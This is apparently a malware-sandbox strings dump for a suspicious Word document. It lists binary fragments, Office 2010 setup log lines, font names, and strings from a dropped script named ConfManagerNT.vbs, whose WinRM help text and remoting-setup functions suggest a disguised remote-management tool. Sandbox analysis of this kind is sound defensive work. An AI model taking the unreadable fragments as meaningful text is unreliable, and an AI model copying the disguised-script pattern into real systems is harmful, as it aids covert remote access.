Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

oyz{-l~(Ym7qW+o^n{#S)3%j_3rN9JgoIaOTG%_d\'G<s?9iH1%7e/\@G%<^|_`(=O[imu'.4?6ym

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

OZtLxGYnEL="B3))3AW0IG1OT1[*3)63("

Ansi based on Dropped File (ConfManagerNT.vbs)

o~{h8?p_76~m:qoWu3GqpZWEGo#u

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

P qjn<0.u.R8|[J??{#^!]/

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

p!~W[G) @#1 B!H3#?T%>RPu}O]Fk[29(ZFyGG[_}&Xo_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

p)&/gU`Twnr]u-vIGN$S0LO3Hf2_|6U>F#cM'(wq+azPF%@yLCT,^j@d3YDQ$<hOn~R}%xn.(X4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

p+xv3Tj<M9^o?|{|N2 'aW(9B#Gq:_0!0o^`;`g{hC{HcV['|X8Lg[3XS39{D9\[+y'"

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

p.K~73{=35eIghV{RU89$-?)i=GSK]3Ofgxqx'Wz9dcP^H\z{GPt2Lih,)3BHB$J=qIKrd-4?fwq@w[vz2m/mto$bH(O8Z6zLPVWfRT?vP,i9TUvt32dXUT(#!.MY!xs.,g!+iIpI

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

p1s0)n56Ov,zf<3R&!zw*23g'NO'~~:spqx,9Nsj]T+~;H=^Y"GUB0pMwde&S0

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

P6]KK<+BR\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

p9\e;"*".Ee%44=FJL!HY/;$*=4EaY/Hy4e&n2e.-:'.pYsSlt9Bx-

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

p;94)0 .w[C[3wx<J{q)jVW

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

p<y8+xN{kTt(/PiPk_}\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

p?w,3g/V=CRGI7{?{l9qDEcA'IP|9An2CTL'=vou`A]l;<VxxR

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

p@B4Bx7W1K#X]EQ8-3eQi,"350|AyW$=g<0Mt@gP|fpt.Vq\y:%Z

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

p\]$!rL7!x?}k1#cDiid4uCP^SfUfjd7x_Y=M<|!^Zhu':x];&{86v)5T o*_wh>+MUK"N^m*Q"Gay #P'?pqETpD6}|v_}^,w:}[^}U{]w]Ctk$$T@Z

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

P]`"w[K#; _gn!O#IP@7:3iaaC^m7m0#V=o;F)-Se7GNfZ '0yN9_~9m{O6YF~ <a->B)Cg{!tfCrDJr-P "%LiCZi{jQfw43Ea,a=QMVBJt_aK&[~U&*ga'9{VXfG6J>0QxGOOGI?yJoE4'uUt8-HF#

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Package: OfficeMUI.en-us

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Palace Script MT

Unicode based on Runtime Data (WINWORD.EXE )

Palatino Linotype

Unicode based on Runtime Data (WINWORD.EXE )

Parchment

Unicode based on Runtime Data (WINWORD.EXE )

Parsing command line.

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

pc!#!NQNVAvAKie-NwC ~}eAkEdr1,leA4T{nnx9*nNoaA.T"q`$'{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

PCD(dp.t]i;0cW(r-s+8CNpOOPl0Ln?|g"J\a<yPq+b[e/F0ibtewaUANBA+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

pct.wqg44ey\GC^h%9efMGl+UFR\\C~Ay^e@Yppjvga

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

pDWB&|nz6 :2^<= [

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

PD~884gUpL:kb7Mq~d%L{S:i@@!4'9HSZrS;a|s d)ogxY!<2'ros[0H!uNyd]8F>z3?-Sfy*>-

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

pe/6JcJMFC<FT4HC?+?Ii5,5

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

peo$q3^H11_`Y6.x&=diAhaeYy"

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

PERF: TickCount=232140 Name=OBootStrapper::Run Description=Begin function

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

PERF: TickCount=232140 Name=OBootStrapper::Run Description=Begin functionOperating System version: 6.1.7601 Service Pack 1. Platform ID: 2Running 64-bit setup on a 64-bit operating system.Command line: "%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Setup.exe" -EmbeddingParsing command line.Running SETUPEXE as a COM server.Using setup controller dll at location [C:\Users\%USERNAME%\AppData\Local\Temp\Setup00000b84\OSETUP.DLL].Verify file signature in "C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Setup.exe"C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Setup.exe is trusted.Verify file signature in "C:\Users\%USERNAME%\AppData\Local\Temp\Setup00000b84\OSETUP.DLL"C:\Users\%USERNAME%\AppData\Local\Temp\Setup00000b84\OSETUP.DLL is trusted.Using setup controller dll at [C:\Users\%USERNAME%\AppData\Local\Temp\Setup00000b84\OSETUP.DLL].PERF: TickCount=232656 Name=OBootStrapper::Run Description=Calling RunSetupPERF: TickCount=232656 Name=RunSetup Description=Begin functionCatalyst execution began: 12/08/2018 16:33:00.Setup COM Server Session: ConfigureOption.The ProductCode ({90140000-0011-0000-1000-0000000FF1CE}) is resolved to ProductId (PROPLUS)Setupexe Resiliency Mode is set to [AlwaysPerform]; thus Resiliency is [enabled] for the [ConfigureExecutionMode]Ensuring the install-state of setup controller files for product [PROPLUS].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0043-0409-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0044-0409-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-001F-0C0A-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-006E-0409-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0011-0000-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0043-0000-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-002C-0409-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-00BA-0409-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-001B-0409-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0019-0409-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0117-0409-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0015-0409-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-00A1-0409-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-001F-0409-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-001F-040C-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-001A-0409-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0016-0409-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0018-0409-1000-0000000FF1CE}].Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0115-0409-1000-0000000FF1CE}].Searching for default versions of resource files under the folder [C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller].Found [1] resource files under the default folder.Running in [ConfigureExecutionMode]. Run from TEMP folder at [C:\Users\%USERNAME%\AppData\Local\Temp\Setup00000b84].Loaded resource file [C:\Users\%USERNAME%\AppData\Local\Temp\Setup00000b84\OSETUPUI.DLL] (CultureTag=en-US).

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

PERF: TickCount=232656 Name=OBootStrapper::Run Description=Calling RunSetup

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

PERF: TickCount=232656 Name=RunSetup Description=Begin function

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

PERF: TickCount=246343 Name=Job::DoCacheWork Description=Begin function

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PERF: TickCount=246375 Name=Job::DoCacheWork Description=End function

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Perpetua Titling MT

Unicode based on Runtime Data (WINWORD.EXE )

pi i i `i `` |))@

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Pi!`<AU<-

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Plantagenet Cherokee

Unicode based on Runtime Data (WINWORD.EXE )

Pmej2!XzeE]B_4('@}H/XwD|X9kc[\85b-%1@>**2`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

PMingLiU-ExtB

Unicode based on Runtime Data (WINWORD.EXE )

pns{yCU>R-&T8ICU0+/G0U=ea&_`4]`#%#UT996D62`s)~b+P^MUyL333<4H,<9yfKZh"fdUPB2&J}>dYD

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

po__wt??#;IbI{QYG.=.nL|M0Kau]\%</-<wUFvxl(D}eAwq&EQn"s:w4BpN;c;[$]}vDz&"[Cq/w3w}vV]%d

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Poor Richard

Unicode based on Runtime Data (WINWORD.EXE )

PowerPoint_PIA:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PowerPointPiaReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PowerPointPreviewReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PPTFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PPTHelpFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PPTPresentationTemplates:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PPTSoundFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_CACHELOCATION = C:\MSOCache\All Users

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_CONTACT =

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_DISPLAYICON =

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_DISPLAYNAME = Microsoft Office Professional Plus 2010

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_DISPLAYVERSION = 14.0.4763.1000

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_HELPLINK =

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_HELPTELEPHONE =

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_INSTALLLOCATION = %PROGRAMFILES%\Microsoft Office

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_MODIFYPATH = "%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\setup.exe" /modify PROPLUS

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_NOELEVATEONMODIFY = #0

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_NOMODIFY = #0

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_NOREMOVE = #0

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_NOREPAIR = #1

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_PACKAGEREFS = [~]Office32WW[~]Office32MUI.en-us[~]AccessMUI.en-us[~]InfoPathMUI.en-us[~]ExcelMUI.en-us[~]OfficeMUISet.en-us[~]OfficeMUI.en-us[~]WordMUI.en-us[~]Proofing.en-us[~]Proof.en-us[~]Proof.es-es[~]OutlookMUI.en-us[~]GrooveMUI.en-us[~]ProPlusWW[~]OneNoteMUI.en-us[~]PublisherMUI.en-us[~]AccessMUISet.en-us[~]Proof.fr-fr[~]PowerPointMUI.en-us[~]

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_PRODUCTCODES = [~]{90140000-0043-0409-1000-0000000FF1CE}[~]{90140000-0044-0409-1000-0000000FF1CE}[~]{90140000-001F-0C0A-1000-0000000FF1CE}[~]{90140000-006E-0409-1000-0000000FF1CE}[~]{90140000-0011-0000-1000-0000000FF1CE}[~]{90140000-0043-0000-1000-0000000FF1CE}[~]{90140000-002C-0409-1000-0000000FF1CE}[~]{90140000-00BA-0409-1000-0000000FF1CE}[~]{90140000-001B-0409-1000-0000000FF1CE}[~]{90140000-0019-0409-1000-0000000FF1CE}[~]{90140000-0117-0409-1000-0000000FF1CE}[~]{90140000-0015-0409-1000-0000000FF1CE}[~]{90140000-00A1-0409-1000-0000000FF1CE}[~]{90140000-001F-0409-1000-0000000FF1CE}[~]{90140000-001F-040C-1000-0000000FF1CE}[~]{90140000-001A-0409-1000-0000000FF1CE}[~]{90140000-0016-0409-1000-0000000FF1CE}[~]{90140000-0018-0409-1000-0000000FF1CE}[~]{90140000-0115-0409-1000-0000000FF1CE}[~]

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_SHELLUITRANSFORMLANGUAGE = en-us

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_SKUCOMPONENTS = [~]%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Publisher.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Excel.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Office.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Proofing.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Groove.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\OneNote.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Outlook.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\InfoPath.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Access.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Office32.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Word.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\PowerPoint.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\PROPLUS\setup.xml[~]

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_SPPSKUID = [~]6F327760-8C5C-417C-9B61-836A98287E0C[~][~]

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_UNINSTALLSTRING = "%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\setup.exe" /uninstall PROPLUS

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_URLINFOABOUT =

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PreparePersistInstall: ARP entry property: ARPENTRY_URLUPDATEINFO =

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

private const L_HelpAlias_001_0_Message = "Aliasing allows shortcuts to be used in place of full Resource URIs."

Ansi based on Dropped File (ConfManagerNT.vbs)

private const L_HelpAlias_002_0_Message = "Available aliases and the Resource URIs they substitute for are:"

Ansi based on Dropped File (ConfManagerNT.vbs)

private const L_HelpAlias_003_0_Message = ""

Ansi based on Dropped File (ConfManagerNT.vbs)

private const L_HelpAlias_010_0_Message = ""

Ansi based on Dropped File (ConfManagerNT.vbs)

private const L_HelpAlias_011_0_Message = "Example: using full Resource URI:"

Ansi based on Dropped File (ConfManagerNT.vbs)

private const L_HelpAlias_013_0_Message = ""

Ansi based on Dropped File (ConfManagerNT.vbs)

private const L_HelpAlias_014_0_Message = "Example: using alias:"

Ansi based on Dropped File (ConfManagerNT.vbs)

private const X_HelpAlias_004_0_Message = "wmi = http://schemas.microsoft.com/wbem/wsman/1/wmi"

Ansi based on Dropped File (ConfManagerNT.vbs)

private const X_HelpAlias_005_0_Message = "wmicimv2 = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2"

Ansi based on Dropped File (ConfManagerNT.vbs)

private const X_HelpAlias_006_0_Message = "cimv2 = http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2"

Ansi based on Dropped File (ConfManagerNT.vbs)

private const X_HelpAlias_007_0_Message = "winrm = http://schemas.microsoft.com/wbem/wsman/1"

Ansi based on Dropped File (ConfManagerNT.vbs)

private const X_HelpAlias_008_0_Message = "wsman = http://schemas.microsoft.com/wbem/wsman/1"

Ansi based on Dropped File (ConfManagerNT.vbs)

private const X_HelpAlias_009_0_Message = "shell = http://schemas.microsoft.com/wbem/wsman/1/windows/shell"

Ansi based on Dropped File (ConfManagerNT.vbs)

private const x_HelpAlias_012_0_Message = " winrm get http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM"

Ansi based on Dropped File (ConfManagerNT.vbs)

private const X_HelpAlias_015_0_Message = " winrm get wmicimv2/Win32_Service?Name=WinRM"

Ansi based on Dropped File (ConfManagerNT.vbs)

private function CreateAndInitializeResourceLocator(wsman,resourceUri,cmdlineOptions)

Ansi based on Dropped File (ConfManagerNT.vbs)

private function Enumerate(wsmanObj, session, cmdlineOptions, resLocator, formatOption)

Ansi based on Dropped File (ConfManagerNT.vbs)

Private Function GetElementAttributeByXpath(msxmlObj, xpath, attributeName)

Ansi based on Dropped File (ConfManagerNT.vbs)

Private Function GetElementByXpath(msxmlObj, xpath)

Ansi based on Dropped File (ConfManagerNT.vbs)

Private Function GetElementXml(msxmlObj, currentElement)

Ansi based on Dropped File (ConfManagerNT.vbs)

private function GetRootNodeName(opr, resUri, actUri)

Ansi based on Dropped File (ConfManagerNT.vbs)

private function GetSuffix(resUri)

Ansi based on Dropped File (ConfManagerNT.vbs)

private function GetXmlNs(resUri)

Ansi based on Dropped File (ConfManagerNT.vbs)

private function ProcessParameterHash(hashString)

Ansi based on Dropped File (ConfManagerNT.vbs)

Private Function QuickConfig(session, cmdlineOptions)

Ansi based on Dropped File (ConfManagerNT.vbs)

Private Function QuickConfigRemoting(session, cmdlineOptions, serviceOnly)

Ansi based on Dropped File (ConfManagerNT.vbs)

private function StripParams(uri)

Ansi based on Dropped File (ConfManagerNT.vbs)

Product Deployment Mode: PerMachineManaged

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Product: PROPLUS

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ProductFiles

Unicode based on Runtime Data (WINWORD.EXE )

ProductFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Project32Files:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ProjectPiaReg32:absent

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ProofingTools:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ProofingTools_1033:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ProofingTools_1036:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ProofingTools_3082:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ProxyBypass

Unicode based on Runtime Data (WINWORD.EXE )

pT`$xNEFYlDP.3r'=D^kG#R_ZnagT{9Z

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

pU*Cs& $:n<=f(`X

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

PubFontsBalanceSys:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PubFontsSys:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Publisher32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Publisher_PIA:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PublisherHelpFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PublisherPiaReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

PubPrimary:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

pW\*\R8005*#5fB(08"@"h"""" "H"p"""""8`"x"""""@"h""""0"H"p"""""8"`"""""("P"x"""""@"h"""

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

p~)NE85U_][-CLFnSQV`ZEMPO5T1'}

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Q!MvtF~$ddzsf]Wxx"91w<eiyl%)$7)cz9I1:uO.KTPMrd9M7='ST(0sU<4@U" T&~._jNg$Oag{['d[Az'2PI##Y'GM3}A#dCc

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Q#=9^E1jGj`]2$2)C:nN ['xFw-aK[CD2!7>rx&EuS'uA*[6A>IC_&m$93aG2=!"g:'x#.&OR6/q[|!d_n

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

q&9N?@$yyYsppr]=3$d|o64OfCA^,3q/\*.;O

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Q*<"oplcycS=n&6OFEXtvw

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

q-Z&e/}aTeM{O4=VM',&257-Y.IFb] p.3U9N)/

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Q.'&/kL&Z7^Dv 75a!qXM:?>/~Wu\6I_9a8!<V@8$$ 3P'$T# 9$*-vjc|i&AL55R11r!1DNe'AvAM(qA.gJb/Uu<q|r*+M<PR*1CiA*!'9EM%.Jj+Vw5+Z#Ln_b_"Flb4\. .328U+(VX:s%UBt5iUWzI

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Q8o7^|](7'=SxDG\c,*A[(?{,RyGIzEM<\<R2

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Q:"Wd<-x$#Oq;1LZ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Q;%wPjfBa"8D~Q!_2(ko\+d:"tgbGFUUsf#)9{:B/sNsC;[TUw38[QVj>t'ZOIdj\Sjt3:*}MHGKTt))cqUXT>$GBR\_#zV}Xkt8#38Kpx&dq/W_%??z."?Y]2VAk\8gkoAMu'.!9&&Q[shGtKC.hk"m;XuzZk~I1QquuG"?f/P)*n@8djj8v:Atww?C2bH&LM_{nJTH5^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

q[z$oP)"x'p`Ax<D,`47H332'p@=B_FOHX#|eEED<u

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Q\IN~`e>yQ$O4?z8`xHEp o`]FewmmG*y{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

QBAl&ym&FLhv"*$[WVh|(//~'>n2>;h*)?|B//7_w~G*<uth~FMdzqNy?:snB!M]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Qc+tp80;w[hX2aj9w9f2<2HGOJc&dL__wum8o!h *s]ZT+{\Xp<Z%L\.7E>j*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

qc:YLz]|Bxoivx>:b{.d=)(w,M%wQ_[FGFot<=\('WukNkB>&SoOx4Dx':ILCp&;+W!~\8A*@A6o(4j.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Qg0O9w4\*l#KZ5KCIrG5<?!S!W!WSS

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

qgwT&5R-]CTvtv228{z{e4TQ-x*|teW><PsN

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Qi!:8E*wfjnzoGZD|^~aIx<gO[!SFeOsg!1:u|HksguosEYBUIxG(+D8RR)we

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

QiuZSE&h<lw^bSw[dmddboX{:4222e:|nK/AZ[PY+4vSv$HOK@]#$&' 'doR1tsHl:PD(E;)..fus=wQX,~!nF7h/1s\>7*6-m^o5%%;Y+>*j!+y 1&[Z~mW85CZvE=o?=/OlR-* dYHlLR]m7QADb=>!Y})c@o}p

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

qjt:u|Z9n^T_4%E^p#X<VU'-\6PQ$AUnNCIr:K:D;Clm\4}[)U?M6qQbY*&Tcv?eI'Q\IY{::::xgNVPTYGS*yx<[X(]+t ov?_z9yp=?g?9M/!M9E&TI{xE.!a(2+?x,Iow-'F24L!J!

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

qmpos = InStr(uri, "?")

Ansi based on Dropped File (ConfManagerNT.vbs)

qneK=w%MiG~zeNz?.,!F#>Xue;Y}xEfeRsmcGOKvM<u]uwO0!)K1y";6,!F

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

qnuM`{1~0|65[aK0B}.xe85=8aMA7tBfi^xCa8@0H815Rt|b>bY2O-dIw{GR7X]?,'vi|FkZD%npe3weV#Q

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

